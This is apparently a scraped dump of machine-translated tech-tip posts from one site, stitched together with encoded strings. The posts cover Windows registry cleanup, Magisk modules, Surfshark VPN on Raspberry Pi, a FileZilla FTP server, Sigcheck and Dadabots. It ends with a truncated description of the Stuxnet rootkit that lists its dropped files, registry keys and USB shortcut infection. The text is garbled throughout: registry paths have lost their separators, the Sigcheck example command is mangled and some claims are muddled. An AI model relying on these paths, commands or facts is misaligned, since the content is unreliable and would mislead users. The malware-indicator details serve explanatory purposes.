free ncG1vNJzZmismaXArq3KnmWcp51kgW6%2Fzp%2BrsJmimnq1u4yrpq2ZpJp6t7XDnqZmoZ5iv6bCxKuqnmWknrm1eZhpZGpwYGKxprPRnpysZZKawLU%3D\n","link":"/post/4-software-to-rotate-video-in-reverse-tilt-90-180-degrees-best/","section":"post","tags":null,"title":"4 software to rotate video in reverse, tilt 90, 180 degrees best"},{"body":"Super Slow Motion is a feature that allows the camera to record short clips with the highest frame rate of 960fps at 720p resolution. This feature is only supported by Samsung on Galaxy S9 / S9 Plus and Galaxy Note 9. But recently, the world's largest phone company has released an upgrade for Galaxy S8 / S8 + that gives this model phablet Super Slow Motion feature. Before the update, the Galaxy S8 was only able to shoot slowly at 240fps at 720p resolution.\n  In addition, the Galaxy S8 also added AR Emoji, a feature similar to Animoji on the iPhone X that Apple announced a year ago in this new update. With this feature, now Galaxy S8 users can also create emoji 3D icons capable of tracking and repeating gestures of users' heads and mouths.\nIn addition, the upgrade for Galaxy S8 / S8 + this time is also supplemented with a periodic Google security patch for September.\nSee more:\nHow to create slow-motion video with Super Slow Motion on Galaxy S9 How to turn off notifications on Samsung Galaxy S8 How to change sound effects Samsung Galaxy S8 ncG1vNJzZmismaXArq3KnmWcp51ktKK4wLGwZqtoYsB5edWinK2mkaJ6qr%2BMrKypqJyauqa6056bZq%2BZqbVuuc6voJ5lo528sMDIp55mnpWWwba%2BxKxkrK2gmr9uv8uormaln6m2sLqMmqWdZZGneqa5zqOg\n","link":"/post/galaxy-s8-s8-vietnam-is-supplemented-with-movie-shooting-features-super-slow-motion-and-ar-emoji/","section":"post","tags":null,"title":"Galaxy S8 / S8 + Vietnam is supplemented with movie shooting features Super Slow Motion and AR Emoji"},{"body":" If you have been using Windows for some time and have installed several applications or programs, you'll probably find a lot of clutter in your context menu. If you're unfamiliar with the context menu, it is the menu that pops up when you...\nPart 1of 4:\nOpening the Windows Registry  Open 'Run.' In Windows, the Run command is used to directly open an application without the need to navigate through your Start menu or your program files. It is accessible through the Start menu. A shorter way to call it is by pressing the Windows key + R on your keyboard.   Run Regedit. In the Run box, type 'regedit' (without the quotation marks) to call the Registry Editor. Take extra precaution when opening and modifying contents in the registry as it can damage your computer's system. If you're unfamiliar with it, don't proceed and seek proper expertise for guidance.  Part 2of 4:\nBacking Up the Windows Registry  Select 'Computer.' At the very top of the registry entries is 'Computer.' Click on it to select it.\n  Export registry. From the header menu, choose 'File' then 'Export.' The whole registry will be exported into a text file. Navigate to the folder where you want to save your backup then type in the name of your registry file. When you're done, click on the 'Save' button. Your registry will be backed up in that file with a .reg extension. If anything goes wrong with your modifications, you can always revert to this stable version.   Note the registry file. Take note where you keep the registry file you've just exported in case you want to undo your changes later. It is always advisable to backup your registry before doing anything to it.  Part 3of 4:\nManaging 'Shell' Items  Navigate to the keys. Click through the registry until you find the following entries: HKEY_CLASSES_ROOT*shell HKEY_CLASSES_ROOTDirectoryshell   Identify menu items. For each of the entries above, review the menu items under them. Be careful on which entry you identify.\n  Disable a menu item. If you'd like to disable a particular menu item, click on it from the left panel then right-click on the right panel. Create this new string value: 'LegacyDisable'. You can also opt to just delete the menu item from the registry, but leave this as the last option.   Continue through the rest of the menu items. Repeat navigating to the other keys, identifying the menu items, and disabling the menu items as needed for all the menu items you'd like to remove from the context menu.\n Part 4of 4:\nManaging 'Shellex' Items  Navigate to the keys. Click through the registry until you find the following entries: HKEY_CLASSES_ROOT*shellexContextMenuHandlers HKEY_CLASSES_ROOTAllFileSystemObjectsShellEx HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers   Identify menu items. For each of the entries above, review the menu items under them. Be careful on which entry you identify.\n  Disable menu item. If you'd like to disable a particular menu item, click on it from the left panel, and then modify the (Default) value on the right panel by putting a few dashes. Double-click the (Default) entry to bring out the actual contents. Add a few dashes in front of the Value Data and click 'OK.' This essentially disables the item without the need to delete it. This is useful in case you want to bring it back later.   Continue through the rest of the menu items. Repeat navigating to the other keys, identifying the menu items, and disabling the menu items for all the menu items you'd like to remove from the context menu.\n  David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vedOhnGavmaOxsMPSZpqopqSaxbV5zJ6lrmWmnq5uvsSgoKysoq4%3D\n","link":"/post/how-to-clean-the-windows-context-menu-via-registry/","section":"post","tags":null,"title":"How to Clean the Windows Context Menu via Registry"},{"body":"What you need is just one HDMI cable thread only. If you are trying to connect a computer to a TV via HDMI, please see the detailed instructions below, which is quite simple.\nIf you don't know, HDMI is\u0026nbsp; stands for High Definition Multimedia Interface, the best quality connection between source device and transmitter. HDMI is capable of transmitting high quality audio and video between devices. HDMI technology is used with devices such as HDTV, projectors, DVD players or Blu-ray players. Thanks to HDMI, we not only transmit images but also transmit sound between devices. Please read the article on HDMI on TipsMake.com to understand more about this connection standard offline.\nHow to connect laptop to TV via HDMI port Step 1: Prepare to connect the laptop to the TV: To connect a laptop to a TV you need a laptop and a TV that supports HDMI connection, HDMI cable. HDMI cables can be easily purchased in consumer electronics stores.\nStep 2 : Connect one end of the HDMI cable to the HDMI port on the laptop. If you don't know where the port is, look at the ports on the laptop, and the HDMI port will have a small HDMI letter printed next to it. Remember to plug in your hand, but be sure, don't be too strong or too loose will affect the connection port and the signal transmitted between the two devices.\n  Step 3: Connect the other end of the HDMI cable to the HDMI port on the TV. You need to put your laptop and TV at a reasonable distance, suitable for the cable length to ensure the signal transmission between laptop and TV takes place most smoothly.\n    Step 4 : Turn on the TV, use the control to press the TV's power button, you will see the Inputs panel appear. You select the HDMI command line ( right now this command line will appear an input command ).\nStep 5 : Wait for the TV and laptop to connect. If waiting for about 15s, there is no cable reception. Click on the Windows + P key combination on your laptop, then select Duplicate in the options that appear to pair. This is the same as when you want to use multiple monitors on one computer, because you are actually turning the TV into a screen for your laptop.\n  Step 6 : After you have successfully paired up, you just need to open the video, pictures on your laptop, everything will be projected on the TV with a wider screen, enough for everyone to enjoy.\nAbove is the entire operation connecting the laptop to the TV via HDMI. During the connection process, if you encounter an unconnected error, you can refer to the instructions How to fix some errors connecting the TV to the laptop via HDMI. Hopefully with this article, you will get a better experience when watching videos and movies with friends.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9Nmo5qopKS9bsDOZquvZaaerm60w6agZqifp8E%3D\n","link":"/post/how-to-connect-laptop-to-tv-via-hdmi-port/","section":"post","tags":null,"title":"How to connect laptop to TV via HDMI port"},{"body":"One of the favorite features of iOS 12 is the lock screen utilities, especially the weather utility. Follow these instructions to see weather information on the lock screen of iPhone and iPad running iOS 12!\nWeather widget on lock screen is extremely useful utility of iOS 12. However, you will not find this utility on the lock screen but through a few installation steps to make it visible.\nAlso, you can't use this weather widget whenever you want. It only appears after the Do Not Disturb mode ends.\nHow to view the weather on the iPhone lock screen Make sure the weather app always accesses your location.\nThe first thing you need to do is allow the weather app to access your location. It will help the weather notifications to be updated most accurately.\nStep 1. Open the Settings app\u0026gt; touch Privacy .\n  Step 2. Next, click on Location Services.\n  Step 3. Next, scroll down and select Weather .\n  Step 4. Next, select Always to allow the Weather application to see your location.\n  The hidden weather utility will only appear when Do Not Disturb mode. Basically, this mode will hide notifications and dim the screen. Only the time and date are displayed on the screen. Besides, when this mode is turned on, the weather widget will appear the next morning. See how to enable Do Not Disturb mode when sleeping here.\n  Weather widget will be displayed on the lock screen at the end of the Do Not Disturb session. To check if the utility is working, you can book a short Do Not Disturb session a few minutes away. And, as soon as this mode ends, the widget will appear on the screen. It will also disappear as soon as the device is unlocked.\nSee more:\nHow to bring Auto Lock to Control Center iOS 11 How to hide iPhone lock screen content How to make a call right on the iPhone lock screen ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmq6GdXayyosDHnqlmp55iwamxjKKnoaeemnqtu8KkZKybopqyrw%3D%3D\n","link":"/post/how-to-display-the-weather-on-the-iphone-lock-screen/","section":"post","tags":null,"title":"How to display the weather on the iPhone lock screen"},{"body":" There are neither train services nor direct flights from Dubai to Abu Dhabi. Fortunately, there are plenty of options available to you. With the development of public transportation, car rentals, taxis, and even helicopters, there is a...\nMethod 1of 5:\nRiding the Airline Shuttle  Take the shuttle if you purchased economy class tickets from Emirates or Etihad airlines. The shuttles are complimentary and travel to and from Dubai and Abu Dhabi. The shuttles run multiple times a day, so you have plenty of options to accommodate your itinerary.[1] You can view running times and reserve your seat on the Etihad shuttle by visiting https://www.etihad.com/en-ae/plan-and-book/book-etihad-express/. Emirates does not offer an online booking method, but you can check out what times the coaches run at https://www.emirates.com/english/before-you-fly/dubai-international-airport/shuttle-service-dubai.aspx.   Arrive on time for your shuttle. Shuttles usually leave on schedule, so don't be late! However, if you do miss your shuttle, just wait for the next one. Etihad has 10 shuttles daily, while Emirates has 6. If you're taking the Emirates shuttle, you may want to explore nearby, as the next shuttle won't arrive for at least 2 hours.\n  Board your shuttle and enjoy the ride! Take in the scenery through the window and relax. Expect to arrive in Abu Dhabi in about 2 hours. Store your luggage in the compartment under the shuttle for a comfortable ride, but keep personal and financial items such as passports and credit cards with you at all times.  Method 2of 5:\nTaking the Public Bus  Find out which bus station is near you. If you have a GPS device, use it to determine your location and provide your route. If you don't have a GPS, use a map or ask a local which bus station is nearby. If you are in Bur Dubai, Satwa, or Karama, take the E100 bus from the Al Ghubaiba Bus Station to the Abu Dhabi Central Bus Station.[2] If you are in Marina, JLT, or the JBR area, take the E101 bus from the Ibn Battuta Metro Station.[3]   Walk or taxi to your chosen bus station. Since there are two stations in the city, you won't have to travel very far to reach one. You can walk there if you like, or take a taxi instead. There are taxis constantly circulating throughout the city, so flag one down and ask to be taken to the nearest bus station. If you can't find a taxi, see if an employee of a nearby establishment will call one for you.\n  Purchase your ticket for the public bus with a standard RTA Nol card. Tickets are affordable at only 25 AED (about 7 USD) for one-way travel. This is the most affordable option if you are not eligible for the airline shuttle. An RTA Nol card is a smart card that basically functions as an electronic bus pass. You can purchase one online at http://dubai-buses.com/buy.aspx or one of the many ticket offices, RTA customer services centers, and even ticket vending machines.   Arrive about 15 minutes early for your scheduled trip. Public buses don't always run on time due to factors like traffic and mechanical error, so arriving early will help insure that you don't miss your bus. If you miss your bus, wait 15-30 minutes for the next one, depending on the bus station. Keep in mind when you are traveling that buses only run from 6am-11pm. Have an alternate method of transportation or book a room if you decide to stay in Abu Dhabi past 11pm.[4]   Board your bus and store your luggage in the upper compartments. Your bus will probably be full if it's a busy time of day, so store your luggage to keep the isles clear. You will also save yourself the aggravation of your bag taking up valuable leg room. Since you will most likely be able to store your bag directly overhead, there is no need to keep personal or financial items on your person. They should be safe in your bag until it's time to exit the bus and compartments are opened.   Sit back and enjoy the scenery. Prepare for a 2-hour-long bus ride. Settle in and check out the view. Ask the locals on the bus about fun activities to do in Abu Dhabi. The bus ride is a great time to catch up on emails, read a book, or listen to your favorite playlist.  Method 3of 5:\nHiring a Taxi  Call or wave down a taxi. If you don't have a phone, most establishments will call a taxi for you if you ask.If someone is calling for you, tell them you would like to go to Abu Dhabi, as some taxi drivers do not operate beyond the city of Dubai. If you waved down a taxi, tell the driver your destination before you get in the car. After the driver agrees, you may then put your luggage in the trunk and enter the taxi.[5] A one-way trip to Abu Dhabi via taxi will cost you around 250AED (about 68 USD).[6]However, be prepared to pay more than that in case of unexpected delays on the highway.   Buckle up for the 2-hour taxi ride. Taxi drivers in the Emirates are notorious for speeding and making sudden stops, so prepare yourself for a bumpy ride. Lots of drivers are under stress to make as many fares as possible due to high fines by their employers.[7] If you have a driver who is willing to engage in conversation, ask about places to go in Abu Dhabi. They can most likely tell you about local hangouts and fun activities to do during your trip.   Pay and tip your driver. Always tip your taxi driver unless they have made your experience unpleasant. It is common to round up your fare to the nearest note, and most people tip between 5 and 10 AED.[8]After you've paid, you can begin your adventure in Abu Dhabi.\n Method 4of 5:\nRenting a Car  Locate a car rental establishment. If you flew into Dubai International Airport, you can rent a car from one of the rental facilities inside the airport. If you didn't fly in or you're already roaming the city, find a hotel and ask a concierge where to find a rental car. Hotel personnel are used to answering questions and will be happy to help you find a car company.\n  Provide your local and international driver's license to rent a car. If you do not have both licenses, you will not be allowed to rent a car.[9]This method of transportation is more affordable than a taxi, but it can end up being a hassle if you don't have the correct documents. If you have both documents, you should be able to rent a car easily.\n  Map out your route and prepare to depart. Use GPS navigation if needed. Gas up and use the restroom before you leave Dubai to avoid unnecessary stops during the trip. Double check that you have all the belongings you need for the day in Abu Dhabi. The most common route is to take the Sheikh Zayed Road, or Highway E 11. Depending on where you enter the highway, it has at least one toll. Tolls typically cost 4 AED.[10]   Drive to Abu Dhabi. Enjoy the scenic drive along the coast. Remember to obey the speed limit to avoid any trouble with the local law enforcement. Follow your route carefully and prepare to arrive in about two hours.\n Method 5of 5:\nFlying by Helicopter  Book your trip a week in advance. Contact a private helicopter transit company and schedule your trip. Do an Internet search to find the right company for your needs. Many of these companies have websites you can browse such as helidubai or Abu Dhabi Aviation. They may require a deposit. Flying to Abu Dhabi in a helicopter is the most costly option for transportation. For 5 people, it will cost you around 14,900 AED, which is about 4,056 USD.[11]   Follow the instructions given to you to meet your helicopter. Some companies may have a car pick you up and bring you to their helipad. Other companies may require that you meet them at a specific location.\n  Get your money's worth by soaking up the scenery. Flying in a helicopter over the Persian Gulf Coast is probably the best view you'll get out of your trip. Enjoy the 45-minute flight to Abu Dhabi and ask your pilot questions if you have them. If you brought a camera, this is a great opportunity to take pictures of the landscape from the air.\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BfYsGwecCbrGacmJavqnnFq6amZZSqr6K1\n","link":"/post/how-to-go-to-abu-dhabi-from-dubai/","section":"post","tags":null,"title":"How to Go to Abu Dhabi from Dubai"},{"body":"Magisk is a popular way to root Android devices and manage root permissions for the application. Magisk is easy to set up and use. However, what most people don't know is that downloading and flashing the popular Android add-on software with Magisk is also very simple. These add-ons often help improve Android devices, bring improvements like better audio processing, new fonts and emoticons, as well as countless patches and plugins to enhance what is already there. .\nMagisk's modular system is not only convenient to flash these add-ons, but also helps you update and manage them.\nInstall Magisk and root the device Before you can use Magisk Manager, you will need to install it. Refer to the article: Instructions to root Android phones with Magisk for more details.\nInstall the Magisk module Open Magisk Manager application on Android device. The icon is the Magisk mask logo.\n  When you first arrive at the main screen, you will see the current version of Magisk and Magisk Manager listed. Make sure there aren't any updates to it. If so, install them first.\n  With Magisk completely updated, press the three horizontal lines in the upper left of the screen. The menu will show you the options available for Magisk. Select Downloads to see available modules.\n  Scroll through this 'massive' list. There are many modules available, and the list keeps growing. If there is something specific you want, use the search icon (magnifying glass) in the upper right corner of the screen to search directly.\n  When you find something you like, press the download icon to the right of it. Magisk will ask you if you want to cancel, download or install the package. Select Install to download and automatically install the module.\n  Magisk will download the module for you. After that, it will display a terminal window where your device blinks. When finished, you will see the Reboot button appear at the bottom right of the screen. Please press this button to restart the device.\n  When the device restarts, the new module will be loaded. Depending on what you choose, everything may be clear or not. The example used in the article appears as an application on the system.\nUpdate the module Magisk Manager also provides the option to update modules when a new version is available. If you have previously managed custom flash modules on Android, you will see the importance of updating modules.\n  Start by opening Magisk Manager again. Just like the previous section, click the menu 3 dashes. Return to the Downloads section . This time, you will see any installed modules at the top of the list. All updates will be listed first.\n  Click the download icon next to your module with an available update. Magisk will ask if you want to install the update.\n  Magisk will download and flash the update. When you're done, you'll see the Reboot button again. Restart to apply the update.\nAs you can see, Magisk is a great tool to have access to some of Android's most powerful features. With these modules, you can adjust your Android device to your needs, add additional functions and add-ons you want.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecoqS2pXnAnZuopl2bv7C5jKaYoKGjoHqurc2anp6q\n","link":"/post/how-to-install-android-add-on-from-magisk-manager/","section":"post","tags":null,"title":"How to install Android add-on from Magisk Manager"},{"body":"Please note that some configurations may differ depending on the Linux distribution you are using.\nLog into the Surfshark service First, you will need the Surfshark service login information. Go to the this website\u0026nbsp; and login.\nOnce you are logged in go to Devices\u0026gt; Manual , scroll down to the bottom of the page. You will find your service credentials there.\n You will find the service login information at the bottom of the page\nHow to set up VPN Surfshark on Raspberry Pi Step 1. Open a Terminal window ( Ctrl + Alt + T ).\nStep 2. Install the required packages by entering the command:\nsudo apt-get install openvpn unzip If you are asked for a password, please enter your computer's admin password.\nStep 3. Navigate to the OpenVPN folder by typing:\ncd /etc/openvpn Step 4. Download the Surfshark OpenVPN configuration file:\nsudo wget https://account.surfshark.com/api/v1/server/configurations Step 5. Unzip the configurations.zip file :\nsudo unzip configurations Step 6. Delete the unused .zip file:\nsudo rm configurations Step 7. To see a list of all available servers, enter:\nls Step 8. Select one of the servers from the list and connect to Surfshark by typing:\nsudo openvpn [tên file] For example:\nsudo openvpn us-dal.prod.surfshark.com_udp.ovpn sudo openvpn /etc/openvpn/us-dal.prod.surfshark.com_udp.ovpn Step 9. OpenVPN will ask you to provide service login information. Enter the Surfshark service login information you collected at the beginning of this tutorial.\nStep 10. You have successfully connected to Surfshark if in Terminal logs you see the message \" Initialization Sequence Completed \".\nStep 11. To disconnect from OpenVPN, just open Terminal and press Ctrl + C .\nVPN Surfshark Raspberry Pi ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyvp6dlo6q%2Fp7%2FHmqmkZZ%2BjerOt0qmZnqqirnqxtQ%3D%3D\n","link":"/post/how-to-set-up-vpn-surfshark-on-raspberry-pi/","section":"post","tags":null,"title":"How to set up VPN Surfshark on Raspberry Pi"},{"body":"FTP Client applications like FileZilla, Cyberduck, WinSCP . are being used quite popularly and widely today to access, upload and download data to users' web servers by creating connections via FTP - delivery File Transfer Protocol with the main task is to receive and process requests for sending or receiving data, creating a direct connection to the host host.Unlike HTTP - designed to forward hyper - text data over TCP connections, standard FTP ensures that the server responds to requests as soon as it receives a signal from the host.Not only provides fast and accurate file transfer, but also security, gives users more options in the process of downloading and uploading data, and one of the most convenient features is Resume.In the following article, we will introduce you to a few basic steps to set up a personal FTP server system, through which users can access from anywhere via FTP client application, allowing more Different accounts upload and download data directly to the server.\n1. FileZilla FTP Server The process of setting up and configuring FTP Server is quite complicated, but if you create a FileZilla FTP Server system yourself, it is possible to turn a Windows- based computer into an FTP server, then establish a connection with multiple computers. Other client properties. In essence, FileZilla FTP Server is a free and open source application for Windows operating systems, supporting secure FTP connection protocols and FTP over SSL / TLS to the server. When using the SSL protocol, we can encrypt the connections between hosts to ensure the amount of data is transmitted securely, while the application also allows users to choose multiple addresses. and different server ports.\nFileZilla Server Interface not only provides users the convenience of creating and managing users, but also setting read or write permissions for each different account, so the manager will limit access. Unauthorized access to private documents. In addition, we can create Group - used to combine multiple user accounts with the same level of decentralization, and some other settings such as server limit, activation or non-use SSL function when users log in, maximum data transfer rate .\nTo do so, please download and install the FileZilla software for Server , then start the application, enter the localhost address ( 127.0.0.1 ) in the Server Address section and the password in the Administration Password box, the value The default port here is 14147 . Click OK :\nDownload FileZilla Server   As mentioned above, Group will make it easier for us to manage many similar user accounts. The first thing to do here is to create a new Group , then assign each account separately to this group. Select the Edit\u0026gt; Groups menu as shown below:\n  The Groups panel will display, we will first click Add and enter the name of the group to create, then enable access for the accounts within the group from the Group Settings section. Next is the directory assignment. will be allowed to share with the client, go to Shared folders section from the left side and select the folder to share to assign here. Then, we will move on to the next step of assigning the user account to the Group :\n From the Edit menu, you select Users :\n Similar to Groups , we can create user accounts - User and set the read and write permissions respectively. Click the Add button, give your account a name, select the corresponding group from the drop-down menu, then click OK to finish:\n In the default mode, the system will create a user account with a blank password, but if you want to set a password to protect the User, then activate the Password option in the Account Settings section . Here, we can change Group membership , enable the Bypass userlimit of server and Force SSL options for user login:\n If you don't specify any shared folders while creating Groups , you can assign them later. Just select Shared folders then click Add from Shared folders:\n The Files and Directories section allows us to confirm the level of authorization for user accounts, including: reading, writing, deleting, listing. By default, the program will automatically assign permissions to all components within the shared folder. However, you can turn off the option + Subdirs to restrict access, in the Shared Limits section, it is up to the maximum download and upload speeds for each account, depending on the time of the day, and in the IP Filter section we can remove fixed IP addresses:\n When the User setup process is complete, we will switch to the client system to initiate the connection to the FTP server. If you want to transfer data through the local network, you can use the IP address of the server to create a connection from the client. Use the ipconfig command in the Command Prompt to find the IP address as shown below:\n Then, open FileZilla FTP and select File\u0026gt; Site Manager, enter the required information here. If the client is connected to the same network, enter the IP address of the server in the Host section to connect, then select Normal from the Logon Type section. Next, enter the username in the User box, the password in the Password :\n When done, click the Access button:\n FileZilla FTP Server will record all information about received and sent requests, including client connection addresses, login names, IP addresses, file transfer speeds:\n Besides, you can also share the IP address of the server with the clients not in the network. To determine the IP address to automatically transfer, open FileZilla Server Options from the main menu and select the Passive mode settings tab, activate the Use the following IP option and enter the IP address to share. You can leave the option to receive IP addresses from ip.filezilla-project.org/ip.php or set it yourself:\n Once completed, the external client system can connect to your server and access the shared folder. If an error occurs here, it may be due to the Windows Firewall or router system.\n2. Windows Firewall (firewall) exception If you use 3rd party programs, applications or antivirus programs, the first thing to note is that the FTP Serer port is selected by the Firewall (firewall).\nIf the Windows Firewall is enabled, you need to add an exception port.\nGo to the Start Menu, enter Windows Firewall into the Search box, then click Windows Firewall with Advanced Security.\n  \nOn the Windows Firewall with Advanced Security interface, click Inbound Rules in the left column and select New Rule . in the right column.\nYou will be allowed 1 port through the firewall. When asked 'What type of rule would you like to create', click on Port and select Next .\nEnter the port you want to select to run the FTP Server (by default, port number 21).\nIn the example below we select port 54218.\n  After you have entered the port number, click Next 3 times.\nNext enter the name and add a description for this exception port so you can easily search. Finally click Finish.\n  3. Map FPT Share on other computers After setting up the FTP Server, you can allow other users to connect to the FTP Server you just created (note: make sure you allow their IP address to connect).\nIn addition, you can use FileZilla application interface to connect to FTP Share, or you can map FTP Share on the computer displayed in Explorer.\nOpen Computer then right-click any space and select Add a network location .\n  Now the Add Network Location wizard window will appear, click Next 2 times. Then enter your IP address and FTP Server port number and click Next.\n  \nLeave the option Log on anomymously and enter the user account name you use to configure the FTP Server.\nClick on Next 2 times and then click Finish .\nNow you will be asked to enter the password, then you can browse any file on the hard drive to FTP Share.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarlanBqrrGZqypZZmjsarCyJ2smqRdm8GxedKeqa%2BdomLEqsDHZp2ipJWvtq24wA%3D%3D\n","link":"/post/instructions-for-setting-up-individual-ftp-server-with-filezilla/","section":"post","tags":null,"title":"Instructions for setting up individual FTP Server with FileZilla"},{"body":"Dadabots is an AI created by CJ Carr and Zack Zukowski, two musicians with a passion for technology, from software deep learning. Dadabots has the ability to compose a lot of songs with metal sounds to celebrate the difference of rock genres.\nOver the past month, Dadabots has been writing constantly and constantly playing death metal music on his YouTube channel. What a normal band can hardly do.\nThe two musicians have relied on a form of computing architecture built to learn the characteristics of the data entered, the neural network to develop Dadabots. Based on the data entered in this case are death metal music, AI predicts the elements as well as the popular music sequence to create completely new tracks.\n  Dadabots' documentation of operating procedures and the future direction are posted on arXiv hosting site from 2017. Photo: Dadabots.\nInitially, Carr and Zukowski let the AI ​​listen to the music clips every few seconds to learn the identities. After that, the AI ​​can create music tracks including riffs (the music part of the typical rhythm of a song) and some transitions.\nTwo Dodabots founders said that AI's works have their own aesthetic value.\n  CJ Carr (left) and Zack Zukowski.Photo: CJ Carr.\nAlthough the vocals in the songs are completely unlike human and distorted but the notes are kept in the right pitch, some guitar riffs are extremely fast, so few people can hear them.\nBesides publishing music on YouTube, Dadabots has also released 10 different albums with various genres such as rock, Aepoch, Battles and Meshuggah.\nCarr and Zukowski said they hoped to 'get rid of black metal music from human life'. Black metal is a branch of rock music, dark dark lyrics that mainly convey thoughts of hatred for humanity and against Christianity.\n  The cover of an album was inspired by the legendary band The Beatles of Dadabots.Source: Dadabots.\nFor each project, AI Dadabots will analyze the work of 'one artist only', and thereby create their own music. Songs currently being produced by Dadabots livestream on YouTube are based on dead metal band named Archspire, in Vancouver.\nBelow is a rock track entitled Bot Prownies composed by AI Dadabots in the album of the same name. Dadabots wrote this song after listening to 36 times the works of NOFX. The lyrics have been revised by this AI owner. We invite you to listen to the rock version for the composition of AI.\nCJ Carr said that in this project Dadabots could create much more balanced music. They hope in the future this AI will receive interactions from the audience. Currently, Dadabots continues to live music 24/7 on YouTube.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZqyfYrmqv9OepWasn2K%2FsK%2FKZqSuq5mYeqS%2BxJqrnpxdl8ZurdGtoJ%2Bhk56urXnIp6uepJyetKa6wp5kmqE%3D\n","link":"/post/invite-to-listen-to-rock-music-created-by-artificial-intelligence-ai/","section":"post","tags":null,"title":"Invite to listen to Rock music created by artificial intelligence (AI)"},{"body":"Sigcheck is a command line utility that displays file version numbers,timestampinformationand digital signature details, including certificate strings.It also includes an option to check the status of a file on VirusTotal.com, an automated file scanning site with more than 40 antivirus tools and file upload options.\nusage: sigcheck [-a][-h][-i][-e][-l][-n][[-s]|[-c|-ct]|[-m]][-q][-r][-u][-vt][-v[r][s]][-f catalog file] usage: sigcheck -d [-c|-ct] usage: sigcheck -o [-vt][-v[r]] usage: sigcheck -t[u][v] [-i] [-c|-ct]    Parameters Description -a Displays extended version information. Entropy measurements (entropy analysis will help detect malicious code) are reported as bits per byte of information of file content. -c Output CSV with comma delimited. -ct Output CSV with delimiter is the tab key. -d Output content of a catalog file. -e Only scan executable images (regardless of their extension). -f Find the signature in the specified catalog file. -h Display the hash of the file. -i Display the name and signature chain of the catalog. -l Pass symbolic links and directory junction. -m Output manifests. -n Only show file version number. -o Use Virus Total lookup hash is recorded in CSV file (previously collected by Sighcheck) when using -h option . This feature is exclusively for scanning offline systems. -q Quiet (without banner). -r Disable the certificate revocation feature. -s Recursive (recurse) subdirectories. -t [u] [v] - The output of the specified certificate store ('*' represents all stores). - Specify -tu to query the user store (the machine store is the default option). - Combine with '-v' to Sigcheck to download Microsoft trusted root certificate list, and export only valid certificates that cannot be rooted in a certificate in that list. If the website cannot be accessed, authrootstl.cab or authroot.stl in the current directory is used instead (if available). -u If VirusTotal's checking feature is enabled, files that VirusTotal does not identify or detect non-zero (containing other digits) will be displayed, otherwise it will only display files signed only. -v [rs] - VirusTotal query (www.virustotal.com) for hash-based malware. - Add 'r' to open the report for detected files that are non-zero. - Files that are reported to have not been scanned before will be uploaded to VirusTotal, if the 's' option is specified. Note that it takes 5 minutes or more to get the scan results. -vt Before using VirusTotal features, users must accept VirusTotal's terms of service. Visit https://www.virustotal.com/en/about/terms-of-service/ for more details. If you do not accept the terms and ignore this option, the user will see a warning message appear. One way to use this tool is to check the unsigned files in the WindowsSystem32 directories with this command:\nsigcheck -u -ec:windowssystem32  Users should check any unsigned files.\nSigcheck tool runs on:\nClient: Windows Vista or later Server: Windows Server 2008 or later Nano Server: 2016 and above Download Sigcheck.\nPlease refer to the article: The software's Certificate Checker is safe for more details on how to use Sigcheck.\nSee more:\nLearn about Microsoft Operations Studio from Microsoft Install SQL Server 2008 What is Microsoft DirectX? ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuv8igmqGdk6B6sLKMpqCcqp%2BovKfA\n","link":"/post/learn-about-sigcheck-of-microsoft/","section":"post","tags":null,"title":"Learn about Sigcheck of Microsoft"},{"body":"Classified as Rootkits, they are created to \"focus\" on the main objects and activities of the Windows system, such as files, folders and processes stored in the memory of computer is infected. All are well hidden, and of course ordinary users cannot detect their existence. On the other hand, they are also equipped with sophisticated payload methods to avoid detection by the current popular security programs and extend the operation time as they continue to spread to other machines.\nThe original Rootkit.Win32.Stuxnet.a activity was discovered on July 12, 2010 at 07:57 GMT, analyzed on July 12, 2010, and the official information was published on the 20th. September 2010. In fact, this is a NT kernel mode driver with a capacity of about 26616 bytes.\nWhen executing on a victim's computer, they automatically copy the following file:\n% System% driversmrxcls.sys\nTo enable system startup, they continue to come out with the following registry keys:\n[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxCls]\n\"Description\" = \"MRXCLS\" \"DisplayName\" = \"MRXCLS\" \"ErrorControl\" = dword: 00000000 \"Group\" = \"Network\" \"ImagePath\" = \"??% System% Driversmrxcls.sys\" \"Start\" = dword: 00000001 \"Type\" = dword: 00000001\nAnd the file % System% driversmrxnet.sys with a capacity of 17400 bytes (aka Rootkit.Win32.Stuxnet.b ). At the same time, they continue to create the following keys in registry services:\n[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMRxNet]\n\"Description\" = \"MRXCLS\" \"DisplayName\" = \"MRXNET\" \"ErrorControl\" = dword: 00000000 \"Group\" = \"Network\" \"ImagePath\" = \"??% System% Driversmrxnet.sys\" \"Start\" = dword: 00000001 \"Type\" = dword: 00000001\nand the following files to store the executable command line and the main data encryption of the rootkit:\n% windir% infmdmcpq3.pnf - 4633 bytes\n% windir% infmdmeric3.pnf - 90 bytes % windir% infoem6c.pnf - 323848 bytes % windir% infoem7a.pnf - 498176 bytes\nThis type of rootkit primarily infiltrates and spreads via USB with Zero Day CVE-2010-2568 vulnerability. When booting, they will activate services.exe internal processes to detect and control USB connection protocols on the system. If any USB devices are detected, they will create the following files on that USB device:\n~ wtr4132.tmp with a capacity of 513536 bytes (assessed as Trojan-Dropper.Win32.Stuxnet.a)\n~ wtr4141.tmp - 25720 bytes (determined to be Trojan-Dropper.Win32.Stuxnet.b type)\nThese DLLs will automatically download to the computer when the vulnerability is exploited and automatically install the rootkit on the system. On the other hand, shortcuts that lead to the above vulnerability are created on all partitions:\n\"Copy of Shortcut to.lnk\"\n\"Copy of Copy of Shortcut to.lnk\" \"Sao chép của Copy của Bản đồ vào Shortcut\" \"Sao chép của Copy của Bản bản của Bản đồ vào 